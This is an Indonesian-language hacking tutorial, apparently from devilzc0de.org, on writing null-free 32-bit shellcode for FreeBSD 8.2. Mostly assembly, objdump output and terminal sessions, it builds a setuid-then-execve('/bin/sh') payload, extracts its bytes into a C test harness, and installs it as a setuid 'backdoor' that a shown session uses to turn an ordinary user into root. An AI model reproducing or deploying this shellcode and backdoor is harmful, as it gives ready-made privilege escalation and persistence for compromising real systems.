Membuat shellcode di Freebsd 8.2
by : devilzc0de.org - "Trojan horse Live and Die Under the Sun"
"mengakses register lebih cepat dari mengakses memori karena register ada
di cpu dan memori baru terhubung ke cpu melalui bus"
kali ini kita akan membuat shellcode untuk Freebsd 8.2 , masih pake 32 bit
:
------------------------
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18
02:24:46 UTC 2011
[email protected]:/usr/obj/usr/src/sys/GENERIC i386
ev1lut10n#
-----------------------
untuk freebsd 8.2 daftar syscall bisa dilihat di
/usr/include/sys/syscall.h
-------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep setuid
#define SYS_setuid 23
-------------------
jadi kita perlu mengisi eax dengan 17 hexa (konversi dari 23 desimal=17
hexa)
----------------
mov eax,0x17
int 80h
--------------
0x: berarti kita akan memindahkan angka berformat hex
untuk memastikanya coba kita liat lagi di /usr/include/unistd.h:
---------------------------
ev1lut10n# cat /usr/include/unistd.h | grep setuid
int setuid(uid_t);
---------------------------
terlihat hanya 1 parameter, untuk fungsi di bawah 6 argumen urutan
pemasukanya selalu : eax, ebx, ecx, edx, esi
ok mari kita tes dulu memanggil syscall setuid dan langsung menggunakan
syscall exit:
sebelumnya kita liat dulu kebutuhan kita:
-----------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep exit
#define SYS_exit 1
#define SYS_thr_exit 431
ev1lut10n#
-----------------------
yang akan kita pakai adl yg ini:
#define SYS_exit 1
ok kita siapkan label dengan nama keluar, di bawahnya kita eksekusi
syscall exit:
keluar:
mov eax,0x01
int 80h
------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push eax
push eax
mov eax,0x17
int 80h
keluar:
push byte 0x01
pop eax
int 80h
-----------------
misal namanya setuid_exit.asm
ev1lut10n# nasm -f elf setuid_exit.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o
ev1lut10n# ./setuid_exit
gak ada segmentation fault berarti ok heh?
untuk membuat shellcodenya gunakan objdump seperti di linux:
-----------------------------
ev1lut10n# objdump -d setuid_exit
setuid_exit: file format elf32-i386-freebsd
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b8 17 00 00 00 mov $0x17,%eax
8048089: cd 80 int $0x80
0804808b <keluar>:
804808b: 6a 01 push $0x1
804808d: 58 pop %eax
804808e: cd 80 int $0x80
ev1lut10n#
_________________
jika register eax diganti register ax, berdasarkan pengalaman masih ada
null string, jadi kita pake register 8 bit: al
mov $0x17,%eax
menjadi:
mov $0x17,%al
kompile:
ev1lut10n# nasm -f elf setuid_exit2.asm
ev1lut10n# ld -o setuid_exit setuid_exit.o
ev1lut10n# objdump -d setuid_exit2
setuid_exit2: file format elf32-i386-freebsd
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 50 push %eax
8048083: 50 push %eax
8048084: b0 17 mov $0x17,%al
8048086: cd 80 int $0x80
08048088 <keluar>:
8048088: 6a 01 push $0x1
804808a: 58 pop %eax
804808b: cd 80 int $0x80
dari hasil objdump shellcodenya adl:
\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80
--------------------
/**freebsd setuid then exit shellcode made by: ev1lut10n**/
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80";
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
-------------------
misal namanya keluar.c:
ev1lut10n# gcc -o keluar keluar.c
ev1lut10n# ./keluar
Length: 13
ev1lut10n#
dieksekusi dg benar
\x31\xc0\x50\x50\xb0\x17\xcd\x80\x6a\x01\x58\xcd\x80
1 2 3 4 5 6 7 8 9 10 11 12 13
ok selanjutnya kita akan membuat sebuah backdoor dengan shellcode setuid
execve /bin/sh
------------------
ev1lut10n# cat /usr/include/sys/syscall.h | grep execve
#define SYS_execve 59
#define SYS___mac_execve 415
#define SYS_fexecve 492
ev1lut10n#
-------------------
yang akan dipakai adalah yg: #define SYS_execve 59
59 dalam hex: 3b
al kita isi dengan 3b
---------------
#include <unistd.h>
int
execve(const char *path, char *const argv[], char *const envp[]);
berikut ini kode assembly untuk eksekusi /bin/sh:
-----------------
xor eax,eax; eax diset ke null
push byte 0 ;sama dengan push eax
push '//sh' ;alamat //sh disimpan ke stack
push '/bin'
mov ebx,esp
push byte 0 ;sama dengan push eax
push esp
push ebx
push byte 0
mov al,0x3b ;syscall execve
int 80h
--------------------
jika dilakukan strace kurang lebih fungsi execve dieksekusi spt ini:
execve("/bin/sh", "/bin/sh", NULL)
setelah itu kita gabungkan dengan kode asm untuk setuid shellcode:
-----------------------
;copyleft by dom dom aka m0nk3y
global _start
section .text
_start:
xor eax,eax
push byte 0
push byte 0
mov al,0x17
int 80h
xor eax,eax
push byte 0
push '//sh'
push '/bin'
mov ebx,esp
push byte 0
push esp
push ebx
push byte 0
mov al,0x3b
int 80h
--------------
untuk memahami kode di atas lalukan kompile dengan opsi -g:
----------
ev1lut10n# nasm -f elf suid.asm -g
ev1lut10n# ld -o suid suid.o
ev1lut10n# gdb -q suid
(gdb) l
1 ;copyleft by dom dom aka m0nk3y
2 global _start
3 section .text
4 _start:
5 xor eax,eax
6 push byte 0
7 push byte 0
8 mov al,0x17
9 int 80h
10
(gdb) l
11 xor eax,eax
12 push byte 0
13 push '//sh'
14 push '/bin'
15 mov ebx,esp
16 push byte 0
17 push esp
18 push ebx
19 push byte 0
20 mov al,0x3b
(gdb) b 16
Breakpoint 1 at 0x804809a: file suid.asm, line 16.
(gdb) run
Starting program: /root/shellcode/suid
Breakpoint 1, 0x0804809a in _start ()
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0xbfbfe9f0 -1077941776
esp 0xbfbfe9f0 0xbfbfe9f0
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x804809a 0x804809a
eflags 0x246 582
cs 0x33 51
ss 0x3b 59
ds 0x3b 59
es 0x3b 59
fs 0x3b 59
gs 0x3b 59
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0: "/bin//sh"
(gdb)
---------
sebelumnya esp menyimpan alamat /bin/sh yang telah kita push ke stack:
13 push '//sh'
14 push '/bin'
selanjutnya isi esp yg berupa alamat memori /bin/sh disimpan ke ebx:
15 mov ebx,esp
(gdb) x/s 0xbfbfe9f0
0xbfbfe9f0: "/bin//sh"
(gdb)
0xbfbfe9f0 adlaah alamat /bin/sh
mulai break di baris ke 16 sehingga ebx :
ebx 0xbfbfe9f0 -1077941776
(gdb) x/s -1077941776
0xbfbfe9f0: "/bin//sh"
(gdb)
gdb) b 21
Breakpoint 1 at 0x80480a2: file suid.asm, line 21.
(gdb) run
Starting program: /root/shellcode/suid
Breakpoint 1, 0x080480a2 in _start ()
ev1lut10n# nasm -f elf suid.asm
ev1lut10n# ld -o suid suid.o
ev1lut10n# chmod u+s suid
ev1lut10n# uname -a
FreeBSD ev1lut10n.org 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18
02:24:46 UTC 2011
[email protected]:/usr/obj/usr/src/sys/GENERIC i386
ev1lut10n# su ev1lut10n
$ id
uid=1001(ev1lut10n) gid=1001(ev1lut10n) groups=1001(ev1lut10n)
$ ./suid
# id
uid=0(root) gid=0(wheel) egid=1001(ev1lut10n) groups=1001(ev1lut10n)
#
(gdb) i r
eax 0x3b 59
karena register 32 bit (eax) terdiri dari 2 register 16 bit : ax di mana
ax terdiri lagi dari 2 register 8 bit , dengan mengisi register 8 bit al
dengan
0x3b maka eax=0x3b